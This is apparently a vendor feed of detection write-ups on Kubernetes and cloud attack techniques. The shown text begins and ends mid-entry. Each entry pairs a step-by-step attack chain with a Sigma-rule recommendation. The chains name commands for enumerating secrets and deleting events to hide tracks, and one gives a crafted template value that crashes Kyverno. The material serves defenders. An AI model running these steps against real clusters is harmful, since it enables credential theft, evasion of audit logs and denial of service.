Successful exploitation of this vulnerability allows an attacker with network access to the Argo Server and valid or fake authentication credentials to perform several malicious actions. They can cause a denial of service by setting sync limits to zero or a very low number, effectively blocking parallel workflow execution. Attackers can also disrupt running workflows by modifying existing sync limits. Furthermore, they can gain access to sensitive information by reading ConfigMap data or manipulate ConfigMaps in any namespace accessible to the server’s service account. This could lead to complete compromise of the Argo Workflows environment.

Recommendation

Upgrade to Argo Workflows version 4.0.5 or later to patch CVE-2026-42297 and mitigate the missing authorization checks.
Monitor access logs on the Argo Server for unexpected API calls to the /api/v1/sync endpoints, especially POST, PUT, and DELETE requests, which could indicate unauthorized ConfigMap manipulation. Use the rule Argo Workflows ConfigMap Sync Service Modification to detect unauthorized modifications.
Implement network segmentation and access controls to limit network access to the Argo Server, reducing the attack surface.

Kubernetes Event Deletion for Defense Evasion

hello@craftedsignal.io — Thu, 02 May 2024 12:00:00 +0000

Attackers targeting Kubernetes environments may attempt to delete Kubernetes events as a means of covering their tracks. This technique, often employed after successful exploitation or lateral movement, aims to eliminate audit logs and other traces of malicious activity. By removing these logs, attackers can significantly hinder incident response efforts and prolong the duration of their access. While the specifics of initial access will vary, this action will typically be performed using kubectl or similar tools with sufficient privileges within the Kubernetes cluster. Defenders need to monitor for unexpected deletion of event logs to identify potentially compromised systems.

Attack Chain

Initial compromise of a container or node within the Kubernetes cluster using an exploit (e.g., exploiting a vulnerability in a containerized application).
Establish persistence by creating a malicious pod or modifying existing deployments to include backdoors.
Escalate privileges within the cluster, potentially by exploiting misconfigured RBAC policies or vulnerable service accounts.
Identify Kubernetes event logs that contain evidence of the attacker’s activities, such as pod deployments, privilege escalation attempts, or network connections.
Use kubectl delete events command with appropriate privileges to remove targeted event logs from the Kubernetes audit logs.
Verify that the targeted event logs have been successfully removed from the cluster’s audit trail.
Continue lateral movement and data exfiltration, now with reduced risk of detection due to the deleted event logs.

Impact

Successful deletion of Kubernetes events allows attackers to operate within the cluster undetected for extended periods. This can lead to significant data breaches, system compromise, and disruption of services. The absence of event logs makes forensic investigation and incident response extremely challenging, potentially leading to inaccurate assessments of the scope and impact of the attack. While the exact number of victims is unknown, this technique, if successful, significantly amplifies the damage caused by any initial intrusion.

Recommendation

Deploy the Sigma rule “Kubernetes Events Deleted” to your SIEM to detect event deletion attempts in your Kubernetes environment (logsource: application, product: kubernetes, service: audit).
Review and harden RBAC policies to minimize the risk of unauthorized event deletion.
Implement strong audit logging practices and ensure that audit logs are securely stored and protected from tampering.

Kubernetes Cluster Enumeration via Audit Logs

hello@craftedsignal.io — Mon, 29 Jan 2024 12:00:00 +0000

Attackers are increasingly targeting Kubernetes environments to gain unauthorized access and extract sensitive information. This activity often begins with enumeration and reconnaissance to map out the cluster’s configuration, identify potential vulnerabilities, and locate valuable secrets. This involves the use of standard command-line tools and specialized Kubernetes utilities. Audit logs provide a valuable record of these enumeration attempts, particularly API requests containing shell commands, file transfer utilities, or tools like Rakkess and TruffleHog. This activity is typically aimed at reconnaissance, secret harvesting, or code execution within the cluster. Detecting these patterns in audit logs is critical for identifying and responding to potential breaches.

Attack Chain

Attacker gains initial access to a system with Kubernetes API access, potentially through compromised credentials or a vulnerable application.
The attacker authenticates to the Kubernetes API server.
The attacker sends a request to the Kubernetes API to execute a shell within a pod, such as /bin/bash or /bin/sh, potentially URL-encoded.
The attacker uses kubectl within a pod to gather information about cluster resources, such as pods, services, and deployments.
The attacker attempts to download tools like curl or wget into a pod to facilitate further reconnaissance or lateral movement.
The attacker uses tools like Rakkess to enumerate role-based access control (RBAC) permissions to identify potential privilege escalation paths.
The attacker deploys TruffleHog to scan pod environments for exposed secrets, such as API keys and passwords.
The attacker exfiltrates gathered information and secrets or uses the gained access for lateral movement within the cluster or connected networks.

Impact

Successful enumeration of a Kubernetes cluster can provide attackers with detailed information about the cluster’s architecture, deployed applications, and security configurations. This allows attackers to identify vulnerabilities, escalate privileges, and gain access to sensitive data, such as API keys, passwords, and other secrets. This can lead to data breaches, service disruptions, and compromised infrastructure. The impact can range from a limited data exposure to a full-scale compromise of the entire Kubernetes environment and connected cloud resources.

Recommendation

Deploy the “Kubernetes Potential Enumeration Activity” Sigma rule to your SIEM to detect suspicious API requests containing shell commands, file transfer utilities, or specialized tools (Sigma rule).
Investigate any alerts triggered by the Sigma rule to determine the scope and impact of the potential enumeration activity.
Review and harden RBAC configurations to minimize the potential for privilege escalation (attack.t1609).
Implement strict network segmentation to limit lateral movement within the cluster and connected networks.
Regularly scan pods for exposed secrets using dedicated secret scanning tools and enforce secure secret management practices.
Monitor Kubernetes audit logs for unusual or unauthorized API activity (logsource: kubernetes, service: audit).

Kyverno Controller Denial of Service via forEach Mutation Panic

hello@craftedsignal.io — Sat, 27 Jan 2024 12:00:00 +0000

A denial-of-service vulnerability exists in the forEach mutation handler of Kyverno, a Kubernetes policy engine. Specifically, Kyverno versions v1.13.0 through v1.17.1 are susceptible to a flaw where an unchecked type assertion within the ForEach function in pkg/engine/mutate/mutation.go can be triggered by a specially crafted Policy or ClusterPolicy. Any user with the ability to create these policy types can exploit this vulnerability. When a patchesJson6902 field contains a variable substitution (e.g., {{ element.nonexistent }}) that resolves to nil at runtime, the type assertion .(string) on a nil interface{} triggers an unrecoverable Go panic. This results in the background controller entering a persistent CrashLoopBackOff state, effectively halting background processing. The admission controller will also drop connections and block matching resource operations. CEL-based policies are unaffected.

Attack Chain

An attacker crafts a malicious Policy or ClusterPolicy YAML manifest containing a forEach rule.
The crafted rule includes a patchesJson6902 field with a variable substitution, such as {{ element.nonexistent }}, designed to resolve to nil at runtime.
The attacker applies the malicious policy to the Kubernetes cluster. This requires appropriate permissions to create Policy or ClusterPolicy resources.
When a resource matching the policy’s match criteria is created or updated, the Kyverno admission controller attempts to apply the policy.
The ForEach function in pkg/engine/mutate/mutation.go is invoked, processing the patchesJson6902 field.
The variable substitution resolves to nil, leading to a bare type assertion failure: fe["patchesJson6902"].(string).
This triggers an unrecoverable Go panic, causing either the background controller (if triggered by mutateExisting rules) or the admission controller to terminate the connection.
The background controller enters a CrashLoopBackOff state due to the persistent UpdateRequest resources that re-trigger the panic on every restart, achieving a denial-of-service.

Impact

Successful exploitation of this vulnerability leads to a denial of service affecting Kyverno’s core functionalities within the Kubernetes cluster. An attacker can crash the background controller, halting critical background tasks such as generate rules, mutateExisting rules, and cleanup processes. The admission controller can also be affected, dropping connections and blocking resource operations that match the malicious policy’s criteria. If a ClusterPolicy is used, this block extends cluster-wide. This vulnerability allows even users with limited, namespace-scoped permissions (via Policy creation) to impact the entire cluster, thus escalating privileges.

Recommendation

Upgrade to Kyverno version v1.17.2 or later to patch the vulnerability (see Overview).
Deploy the Sigma rule Detect Kyverno Policy with Suspicious forEach to identify potentially malicious policies containing forEach loops with patchesJson6902 fields that could trigger the vulnerability.
Monitor Kyverno controller logs for “panic: interface conversion: interface {} is nil, not string” errors, indicating a potential exploitation attempt (see Attack Chain, step 7).
Implement strict RBAC policies to limit the ability to create or modify Kyverno Policy and ClusterPolicy resources (see Impact).

Azure Kubernetes Events Deleted

hello@craftedsignal.io — Tue, 09 Jan 2024 18:30:00 +0000

Attackers targeting Azure Kubernetes Service (AKS) environments may attempt to remove event logs to cover their tracks and hinder forensic investigations. This activity, which involves deleting Kubernetes events, directly impairs a defender’s ability to detect malicious behavior within the cluster. By removing evidence of their actions, attackers can prolong their presence within the environment and increase the potential for further compromise. This technique is relevant for defenders monitoring AKS environments for intrusion activity.

Attack Chain

The attacker gains initial access to the Azure environment, potentially through compromised credentials or exploiting a vulnerability.
The attacker authenticates to the Azure Kubernetes Service (AKS) cluster with sufficient privileges.
The attacker enumerates existing Kubernetes event logs to identify those they wish to remove.
The attacker executes a command to delete specific Kubernetes events using kubectl or the Azure CLI. The API call used for the deletion is MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE.
The Azure Activity Logs record the event deletion, which is the source of the detection.
The attacker repeats steps 3-4 to remove additional event logs, further obscuring their activities.
The attacker continues with their primary objective, such as deploying malicious containers, exfiltrating data, or establishing persistent access.

Impact

Successful deletion of Kubernetes events can significantly hinder incident response efforts. Without access to event logs, defenders may struggle to identify the scope and timeline of an attack, potentially leading to incomplete remediation and prolonged exposure. The impact includes increased dwell time for attackers within the compromised environment, as well as a greater likelihood of successful data breaches or system disruptions.

Recommendation

Deploy the provided Sigma rule to your SIEM to detect event deletion activity within AKS environments.
Investigate any detected instances of the MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE operation in Azure Activity Logs, as indicated in the rule definition.
Implement robust RBAC policies within AKS to minimize the number of users and service accounts with permissions to delete Kubernetes events.

Kubernetes Sensitive Role Creation or Modification

hello@craftedsignal.io — Thu, 04 Jan 2024 12:00:00 +0000

This detection rule focuses on identifying suspicious activities related to Kubernetes Role-Based Access Control (RBAC). It specifically targets the creation, update, or patching of Kubernetes Roles or ClusterRoles that introduce high-risk permissions. These include wildcard access, where a single rule grants access to all resources, and escalation verbs like ‘bind’, ’escalate’, or ‘impersonate’, which can be used to elevate privileges. The rule is designed to alert security teams to potential privilege escalation or unauthorized access attempts within Kubernetes environments. The Elastic detection rule was last updated on April 27, 2026, and aims to detect malicious actors attempting to gain cluster-admin-equivalent access by creating new ClusterRoles with * verbs/resources and binding them to their accounts or service accounts.

Attack Chain

An attacker gains initial access to the Kubernetes cluster, potentially through compromised credentials or a vulnerable application.
The attacker attempts to create or modify a Role or ClusterRole.
The attacker adds high-risk permissions to the Role or ClusterRole, such as wildcard verbs/resources (*) or escalation verbs (bind, escalate, impersonate).
The Kubernetes API server authorizes the request, potentially due to misconfigured RBAC policies.
The attacker creates or modifies a RoleBinding or ClusterRoleBinding to associate the modified Role or ClusterRole with a target user, group, or service account.
The target user, group, or service account now possesses the elevated privileges granted by the modified Role or ClusterRole.
The attacker leverages the elevated privileges to perform unauthorized actions within the cluster, such as accessing sensitive data or deploying malicious workloads.
The attacker achieves persistence by maintaining the modified Role or ClusterRole and its associated bindings, allowing continued access to elevated privileges.

Impact

Successful exploitation can lead to significant security breaches within a Kubernetes environment. Attackers can gain unauthorized access to sensitive data, deploy malicious workloads, disrupt services, and potentially compromise the entire cluster. This can result in data breaches, financial losses, and reputational damage. The rule aims to prevent attackers from silently expanding privileges, enabling persistence, or facilitating lateral movement across the cluster.

Recommendation

Deploy the Sigma rule Kubernetes Creation of Sensitive Role to your SIEM to detect the creation or modification of Kubernetes Roles or ClusterRoles that grant high-risk permissions.
Enable Kubernetes audit logging to capture the necessary events for the Sigma rules to function effectively (reference: Kubernetes audit logs in logsource).
Implement RBAC guardrails using tools like OPA Gatekeeper or Kyverno to prevent the creation of Roles/ClusterRoles with wildcard or escalation verbs (reference: harden recommendation in the content).
Regularly review and audit RBAC configurations to identify and remediate overly permissive roles and bindings.

Kubernetes RBAC Wildcard Elevation on Existing Role

hello@craftedsignal.io — Wed, 03 Jan 2024 18:23:00 +0000

This detection rule identifies modifications to Kubernetes Roles or ClusterRoles that result in the granting of wildcard permissions for both verbs and resources. This effectively elevates the privileges associated with the role to be similar to that of a cluster-admin, granting near-complete control over the Kubernetes environment. This type of privilege escalation is often intentional and may indicate malicious activity, such as an attacker attempting to gain broader access within the cluster. The rule requires Kubernetes audit logs with RequestResponse level and the response body to inspect the final merged role. It excludes loopback source IPs to avoid false positives from local system processes.

Attack Chain

An attacker gains initial access to a Kubernetes cluster, possibly through compromised credentials or a vulnerable application.
The attacker identifies a Role or ClusterRole that, if modified, would grant them broader privileges.
The attacker uses kubectl patch or kubectl update to modify the existing Role or ClusterRole.
The modification introduces wildcard permissions (verbs: ["*"] and resources: ["*"]) to the role’s rules.
The Kubernetes API server processes the patch or update request, granting the modified permissions.
The attacker leverages the newly acquired privileges to perform actions they were previously unauthorized to do, such as accessing sensitive data, deploying malicious workloads, or further escalating privileges.
The attacker attempts to access other resources or namespaces within the Kubernetes cluster, taking advantage of the elevated permissions.

Impact

A successful privilege escalation can allow an attacker to gain complete control over a Kubernetes cluster. This can lead to data breaches, denial of service, deployment of malicious containers, and other security incidents. The severity of the impact depends on the scope of the compromised cluster and the sensitivity of the data and applications it hosts. A single compromised role can lead to a full cluster compromise if not detected and remediated quickly.

Recommendation

Deploy the Sigma rule “Kubernetes RBAC Wildcard Elevation on Existing Role” to your SIEM and tune for your environment to detect wildcard privilege escalations in Kubernetes audit logs.
Investigate any alerts generated by the Sigma rule, focusing on the actor (user, group, impersonation) and their source IP.
Diff the Role or ClusterRole YAML before and after the change to understand the scope of the permission change.
Review RoleBindings and ClusterRoleBindings that reference the modified role to identify which subjects gained the widened access.
Implement policy-as-code to prevent unauthorized modifications to RBAC configurations.
Monitor Kubernetes audit logs for suspicious activity related to account manipulation (T1098) and privilege escalation (TA0004).

Kubernetes Secret Access by Node or Pod Service Account

hello@craftedsignal.io — Wed, 03 Jan 2024 18:22:00 +0000

This detection rule identifies suspicious Kubernetes API access patterns indicative of credential access. Specifically, it focuses on get or list operations targeting the secrets resource performed by node identities (system:node:*) or pod service accounts (system:serviceaccount:*). Attackers who have compromised a pod service account or node credentials might attempt to enumerate secrets to discover sensitive information such as tokens, registry credentials, TLS keys, or application configurations. While legitimate controllers may read secrets, direct access from node or pod service accounts warrants investigation, especially when cross-namespace or involving high-value secrets. The rule is intended to be triaged based on namespace scope, user agent, RBAC, and relevance of the identity to the accessed secret.

Attack Chain

Attacker gains initial access to a Kubernetes cluster, possibly through compromising a pod or node.
Attacker obtains credentials for a service account associated with the compromised pod or accesses node credentials.
Attacker uses the stolen credentials to authenticate against the Kubernetes API.
The attacker attempts to enumerate secrets within the cluster using kubectl get secrets --all-namespaces or similar API calls.
The Kubernetes API server receives the request and generates an audit log entry.
This audit log entry contains details such as the user (system:node:* or system:serviceaccount:*), the action (get or list), and the resource (secrets).
The attacker identifies valuable secrets containing sensitive information such as API keys or database passwords.
Attacker exfiltrates the secrets, gaining unauthorized access to other systems or data.

Impact

Compromised Kubernetes secrets can lead to a wide range of security breaches, including unauthorized access to sensitive data, lateral movement within the cluster, and compromised external services that rely on the exposed credentials. If successful, attackers could gain complete control over the cluster and its applications, leading to data breaches, service disruption, and reputational damage. The risk is elevated in environments where secrets are not properly managed or where RBAC is overly permissive.

Recommendation

Deploy the provided Sigma rule to your SIEM to detect unauthorized secret access attempts by node or pod service accounts in Kubernetes audit logs.
Review RBAC configurations to ensure least privilege for service accounts and nodes, limiting their access to only necessary secrets.
Investigate any alerts generated by the Sigma rule, focusing on cross-namespace access, high-value secret names, and unusual user agents.
Implement a process for regularly rotating secrets and auditing access to sensitive resources within the Kubernetes cluster.
Baseline normal secret access patterns for in-cluster operators, CSI drivers, and GitOps agents, and create allowlists to reduce false positives.

Malicious Azure Kubernetes Admission Controller Configuration

hello@craftedsignal.io — Wed, 03 Jan 2024 15:30:00 +0000

Kubernetes Admission Controllers are critical components that intercept and potentially modify requests to the Kubernetes API server. These controllers rely on admission webhooks (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) deployed within the cluster. A malicious actor can abuse these webhooks to establish persistence by modifying pod creation operations and injecting malicious containers into new pods via MutatingAdmissionWebhook. Alternatively, ValidatingAdmissionWebhook can be used to intercept API server requests, potentially exposing secrets and sensitive information. This activity allows for credential access and privilege escalation, impacting the overall security posture of the Kubernetes cluster.

Attack Chain

The attacker gains initial access to the Azure Kubernetes cluster, possibly through compromised credentials or a vulnerability in a deployed application.
The attacker identifies the existing Admission Controller configuration within the Kubernetes cluster.
The attacker crafts a malicious MutatingAdmissionWebhook configuration to intercept pod creation requests.
The malicious webhook is deployed to the cluster, configured to modify pod specifications.
When new pods are created, the webhook injects a malicious container into the pod specification before deployment.
The malicious container executes within the newly created pod, providing the attacker with persistent access to the cluster.
Alternatively, the attacker crafts a malicious ValidatingAdmissionWebhook to intercept API requests.
The webhook captures sensitive data, such as secrets, and sends it to an attacker-controlled server, resulting in credential access.

Impact

Compromising the Kubernetes Admission Controller can lead to persistent access within the cluster. The attacker can inject malicious containers into numerous pods, potentially affecting all applications deployed in the cluster. Sensitive information, like secrets, can be stolen, enabling lateral movement and privilege escalation within the Azure environment. The impact ranges from data breaches to complete cluster compromise.

Recommendation

Deploy the Sigma rule “Azure Kubernetes Admission Controller Configuration Change” to detect unauthorized modifications to Admission Controller configurations in Azure Activity Logs.
Regularly review and audit existing Admission Controller configurations for any unexpected or malicious webhooks.
Implement strong RBAC policies to restrict access to Admission Controller configuration and prevent unauthorized modifications.
Monitor Azure Activity Logs for MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/ADMISSIONREGISTRATION.K8S.IO and MICROSOFT.CONTAINERSERVICE/MANAGEDCLUSTERS/ADMISSIONREGISTRATION.K8S.IO operations to identify potential abuse.

AWS Lateral Movement from Kubernetes Service Account via AssumeRoleWithWebIdentity

hello@craftedsignal.io — Wed, 03 Jan 2024 15:00:00 +0000

This detection rule identifies lateral movement in AWS environments stemming from Kubernetes service accounts utilizing AssumeRoleWithWebIdentity. It focuses on detecting instances where credentials obtained via this method are subsequently used to perform several distinct AWS control-plane actions within a single session. This behavior deviates from typical pod traffic and could signify unauthorized access or privilege escalation. The rule prioritizes the detection of sensitive API usage, including reconnaissance activities, access to secrets, IAM modifications, and compute creation events, while strategically excluding high-volume S3 data-plane operations to minimize false positives. The targeted environments are those leveraging EKS IAM Roles for Service Accounts.

Attack Chain

A Kubernetes service account projects a token.
The service account uses AssumeRoleWithWebIdentity to exchange the token for short-lived IAM credentials.
The attacker leverages the assumed role to perform reconnaissance activities such as ListUsers, ListRoles, and DescribeInstances.
The attacker attempts to access secrets using actions like GetSecretValue and ListSecrets.
The attacker escalates privileges by modifying IAM policies with actions like AttachRolePolicy and PutRolePolicy.
The attacker attempts to create new users or roles within the AWS environment using actions like CreateUser and CreateRole.
The attacker performs lateral movement using actions like SendCommand and StartSession.
The attacker attempts to evade detection by stopping logging with the StopLogging action.

Impact

Successful exploitation can lead to unauthorized access to sensitive data, privilege escalation, and the potential compromise of the entire AWS environment. Lateral movement within the AWS infrastructure allows attackers to gain access to critical systems and data, potentially leading to data breaches, service disruptions, or other malicious activities.

Recommendation

Deploy the provided Sigma rule to your SIEM to detect potentially malicious activity related to AssumeRoleWithWebIdentity and tune for your environment.
Review and harden IAM role trust policies associated with Kubernetes service accounts, specifically focusing on OIDC trust conditions, as referenced in the IAM OIDC identity provider documentation.
Implement strict least privilege principles for Kubernetes service accounts, limiting their access to only the necessary AWS resources, as covered in EKS IAM roles for service accounts.
Monitor CloudTrail logs for AssumeRoleWithWebIdentity events followed by suspicious API calls, focusing on the actions listed in the Sigma rule detection patterns.

Kubelet API Connection Attempt to Internal IP

hello@craftedsignal.io — Wed, 03 Jan 2024 14:30:00 +0000

This detection rule identifies suspicious network connections to the Kubernetes Kubelet API, specifically targeting ports 10250 and 10255, from Linux hosts within internal network ranges. Attackers frequently exploit weak authentication or network controls to access the Kubelet API, potentially enabling them to enumerate pods, retrieve logs, and execute commands on nodes. This activity often originates from common scripting utilities like curl, wget, or interpreters like python and node, particularly when executed from world-writable directories such as /tmp, /var/tmp, or /dev/shm. This technique is often a component of container and cluster lateral movement, where the attacker seeks to expand their access within the Kubernetes environment. The rule is designed to detect these unauthorized attempts and alert security teams to investigate potential breaches.

Attack Chain

An attacker gains initial access to a compromised container or host within the Kubernetes cluster, potentially through exploiting a vulnerability in a running application.
The attacker executes a reconnaissance command, such as curl or wget, from within the compromised container, targeting the Kubelet API on port 10250 or 10255.
The curl or wget command is executed from a temporary directory like /tmp or /dev/shm to avoid detection.
The attacker attempts to enumerate running pods and services by querying the /pods or /runningpods endpoints of the Kubelet API.
If successful, the attacker identifies a target pod within the cluster based on the enumerated information.
The attacker leverages the Kubelet API to execute commands within the target pod, potentially escalating privileges or accessing sensitive data.
The attacker attempts to move laterally to other nodes or containers within the Kubernetes cluster, repeating the reconnaissance and exploitation steps.
The ultimate goal is to gain control over the entire Kubernetes cluster, enabling data exfiltration, resource hijacking, or disruption of services.

Impact

Successful exploitation of the Kubelet API can lead to a complete compromise of the Kubernetes cluster. Attackers can gain unauthorized access to sensitive data, escalate privileges, and disrupt critical services. While the number of victims may vary depending on the organization’s security posture, a successful attack could impact all applications and data managed by the cluster. Organizations in any sector utilizing Kubernetes are potentially at risk.

Recommendation

Enable syscall auditing and ensure that event.category:network events are generated for network connections, as outlined in the rule’s setup guide.
Deploy the provided Sigma rule to your SIEM and tune it based on your environment to reduce false positives.
Restrict pod-to-node access to port 10250 using network policies or security groups to limit the attack surface, as noted in the rule’s documentation.
Implement Kubernetes API audit logging to detect unauthorized access attempts and credential access, correlating with process argument telemetry as mentioned in the triage steps.

Kubernetes Pod Exec with Curl or Wget to HTTPS

hello@craftedsignal.io — Wed, 03 Jan 2024 14:27:00 +0000

This detection rule identifies suspicious activity within Kubernetes environments where attackers leverage kubectl exec or similar API calls to execute commands within pods. Specifically, it focuses on instances where these commands involve using curl or wget to retrieve content over HTTPS. Attackers may use this technique to download malicious scripts, tools, or exfiltrate sensitive data from compromised pods. This activity is flagged based on decoded request URIs from Kubernetes audit logs, reconstructed command strings, and filtering of benign traffic related to cluster health checks and OIDC/JWKS endpoints. The rule aims to detect anomalous behavior that deviates from typical pod execution patterns, helping defenders identify potential intrusions or misuse of pod execution privileges. The rule was created on 2026/04/23 and last updated on 2026/04/23 according to the source.

Attack Chain

An attacker gains unauthorized access to the Kubernetes cluster, possibly through compromised credentials or a vulnerability.
The attacker identifies a target pod within the cluster to execute commands within.
The attacker uses kubectl exec or a similar API call to initiate a shell session within the target pod.
The attacker crafts a command using curl or wget to download a malicious script, tool, or exfiltrate data over HTTPS. The URL is often encoded in the requestURI.
The Kubernetes API server records the exec call and its parameters in the audit logs.
The detection rule decodes the requestURI, extracts the command string, and identifies the use of curl or wget with an HTTPS URL.
The rule filters out known benign URLs associated with cluster health checks or OIDC/JWKS endpoints.
If the command is identified as malicious, an alert is triggered, indicating a potential compromise.

Impact

Successful exploitation can lead to the deployment of malicious tools within the Kubernetes environment, potentially enabling lateral movement, data theft, or denial-of-service attacks. Compromised pods could expose sensitive data or be used as a launchpad for further attacks on the cluster or other systems. The scope of impact depends on the permissions granted to the compromised pod and the attacker’s objectives.

Recommendation

Deploy the Sigma rule “Kubernetes Pod Exec with Curl or Wget to HTTPS” to your SIEM and tune for your environment.
Review Kubernetes RoleBindings for pods/exec to ensure only required principals retain access on sensitive namespaces.
Investigate any alerts generated by the Sigma rule by reviewing the decoded URI and reconstructed command in the alert details.
Implement network policies to restrict egress traffic from pods, limiting the potential for data exfiltration via HTTPS.
Regularly audit Kubernetes audit logs for suspicious activity related to pod execution and API calls.

Kubernetes Multi-Resource Discovery Reconnaissance

hello@craftedsignal.io — Wed, 03 Jan 2024 14:22:00 +0000

After gaining initial access to a Kubernetes cluster, adversaries often conduct reconnaissance to understand the environment before further actions like exfiltration or privilege escalation. This involves mapping the cluster’s structure, identifying workloads, and understanding role-based access control (RBAC) configurations. This reconnaissance is achieved by rapidly querying various API resources, including namespaces, pods, roles, ClusterRoles, ConfigMaps, and ServiceAccounts. The activity is characterized by a burst of get and list requests across multiple resource types within a short timeframe, which is atypical for normal cluster operations and may indicate malicious probing or permission reconnaissance. This detection focuses on identifying such cross-resource bursts from a single client to distinguish reconnaissance activities from routine automation.

Attack Chain

The attacker gains initial access to the Kubernetes cluster using compromised credentials or by exploiting a vulnerability. (T1190, T1566)
The attacker authenticates to the Kubernetes API server using the compromised credentials or a valid service account token.
The attacker begins enumerating namespaces to understand the logical divisions within the cluster using kubectl get namespaces or equivalent API calls. (T1068)
The attacker queries pods within the discovered namespaces to identify running workloads and potential targets. (T1068)
The attacker lists roles and cluster roles to understand the existing RBAC configurations and identify potential privilege escalation opportunities. (T1069)
The attacker retrieves service accounts to identify applications and their associated permissions, potentially discovering more attack vectors.
The attacker analyzes the collected information to identify vulnerable services, misconfigured permissions, or sensitive data.
Based on the reconnaissance, the attacker proceeds with lateral movement, privilege escalation, data exfiltration, or other malicious objectives.

Impact

Successful reconnaissance allows attackers to gain a comprehensive understanding of the Kubernetes environment, facilitating further malicious activities such as lateral movement, privilege escalation, and data exfiltration. This can lead to the compromise of sensitive data, disruption of services, and unauthorized access to critical resources. The impact is magnified in clusters with weak RBAC policies or exposed sensitive information.

Recommendation

Deploy the Sigma rule “Kubernetes Multi-Resource Discovery” to your SIEM and tune for your environment to detect reconnaissance activities.
Investigate alerts generated by the Sigma rule by pivoting on user.name, source.ip, and user_agent.original to determine the sequence of API calls.
Correlate the identified activity with RBAC configurations to identify potential violations of the principle of least privilege as described in the rule’s Triage and Analysis section.
Baseline automation by allowlisting known service accounts or source networks that legitimately span multiple resource types in a short window, as described in the rule’s False Positive Analysis section.
Review and tighten RBAC configurations to minimize the impact of compromised credentials as described in the Response and Remediation section.

Potential Direct Kubelet Access via Process Arguments

hello@craftedsignal.io — Wed, 03 Jan 2024 12:00:00 +0000

This rule detects potential direct Kubelet access via process arguments within Linux containers. Attackers may target the Kubelet API to gain unauthorized access to the Kubernetes API server or other sensitive resources within the cluster. Observed requests are often used for reconnaissance, such as enumerating pods and cluster resources, or for executing commands directly on the API server. This activity indicates a potential attempt to move laterally within the Kubernetes environment. The activity is detected by monitoring process arguments for HTTP requests directed at the Kubelet API on ports 10250 or 10255. The detection leverages Elastic Defend for Containers, introduced in version 9.3.0.

Attack Chain

An attacker gains initial access to a container within the Kubernetes cluster, potentially through exploiting a vulnerable application.
The attacker opens an interactive shell within the compromised container.
Using command-line tools such as curl or wget, the attacker crafts an HTTP request targeting the Kubelet API, typically on port 10250 or 10255.
The HTTP request is embedded within the process arguments, including specific Kubelet endpoints such as /pods, /exec, /run, or /logs.
The attacker attempts to enumerate pods and other cluster resources by querying the /pods endpoint.
The attacker attempts to execute commands within containers by leveraging the /exec or /run endpoints.
The attacker attempts to retrieve container logs using the /logs endpoint.
Successful exploitation allows the attacker to move laterally within the Kubernetes cluster, potentially gaining access to sensitive data or control over other resources.

Impact

Successful exploitation of direct Kubelet access can lead to significant compromise within a Kubernetes cluster. Attackers can enumerate sensitive information, execute arbitrary commands within containers, and move laterally to other parts of the cluster. This can result in data exfiltration, denial of service, or complete cluster takeover. Due to the high level of access granted by Kubelet, a successful attack allows the attacker to take complete control over the target node.

Recommendation

Deploy the provided Sigma rules to your SIEM and tune them for your environment. Enable Elastic Defend for Containers with a minimum version of 9.3.0 to generate the necessary logs for these detections.
Review network policies to restrict pod access to Kubelet ports (10250, 10255) except from approved node-local agents (references: https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster).
Harden Kubelet authentication and authorization by disabling anonymous access and requiring webhook authorization (references: https://www.aquasec.com/blog/kubernetes-exposed-exploiting-the-kubelet-api/).
Enforce pod security policies to restrict privileged pods and host networking, reducing the attack surface for node API access.

Kubernetes Secret Access with Suspicious User Agent

hello@craftedsignal.io — Wed, 03 Jan 2024 12:00:00 +0000

This rule identifies suspicious access patterns to Kubernetes Secrets. Attackers may attempt to retrieve secrets containing sensitive information such as credentials, API keys, and other confidential data. This detection focuses on identifying access attempts originating from clients with non-standard user agents, such as scripting runtimes (Python, Perl, PHP), basic HTTP tools (curl, wget), or those associated with penetration testing distributions (Kali Linux). Legitimate access typically involves stable, purpose-built user agents. This detection helps uncover potential credential access attempts that bypass standard access controls. The rule specifically triggers on get and list actions against Kubernetes secrets, coupled with a suspicious user_agent.original and a populated source.ip.

Attack Chain

Attacker gains initial access to a compromised host or pod within the Kubernetes cluster or an external system with network access to the Kubernetes API server.
The attacker crafts HTTP requests to the Kubernetes API server to enumerate available secrets.
The attacker uses tooling such as curl, wget, or custom scripts with user agents like python-requests or Go-http-client to interact with the API.
The attacker sends a GET or LIST request to the /api/v1/namespaces/{namespace}/secrets/{name} endpoint to retrieve specific secrets or list all secrets in a namespace.
The Kubernetes API server authenticates and authorizes the request based on the attacker’s assigned RBAC roles, potentially using impersonation.
If authorized, the API server returns the secret data in the response.
The attacker extracts sensitive information like passwords, tokens, or API keys from the retrieved secrets.
The attacker uses the compromised credentials to escalate privileges, move laterally within the cluster, or access external resources.

Impact

Successful exploitation allows attackers to steal sensitive information stored in Kubernetes secrets, leading to privilege escalation, lateral movement, and unauthorized access to critical systems and data. Compromised credentials can be used to access external cloud resources or internal services. The impact depends on the sensitivity of the secrets, but can include data breaches, service disruptions, and significant financial loss.

Recommendation

Deploy the Sigma rule Kubernetes Secret get or list with Suspicious User Agent to your SIEM to detect suspicious access to Kubernetes secrets.
Investigate any alerts triggered by the Sigma rule, focusing on the user identity (user.name), targeted namespace (kubernetes.audit.objectRef.namespace), and source IP (source.ip).
Baseline expected user agents for legitimate automation and add exceptions to the detection rule for known good traffic.
Rotate affected secrets and credentials, revoke tokens, and tighten RBAC if unauthorized access is detected.
Block or isolate the source host at the network edge to the API server where appropriate, based on source.ip.
Monitor kubernetes.audit.annotations.authorization_k8s_io/decision to identify unauthorized attempts to access secrets.

Kubernetes Rapid Secret GET Activity Against Multiple Objects

hello@craftedsignal.io — Wed, 03 Jan 2024 12:00:00 +0000

This detection rule identifies suspicious activity within Kubernetes environments where a single client fingerprint (defined by user, source IP, and user agent) rapidly retrieves multiple distinct Secret objects via the Kubernetes API. The rule focuses on detecting potential credential access or in-cluster reconnaissance attempts. The activity may involve successful and failed GET requests, where failed requests may reveal information about RBAC boundaries or confirm the existence of targeted secrets. This activity can indicate that an attacker is attempting to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. The rule excludes common sources such as the kube-controller-manager and kube-scheduler.

Attack Chain

An attacker gains initial access to a Kubernetes cluster, potentially by exploiting a vulnerability or compromising a service account.
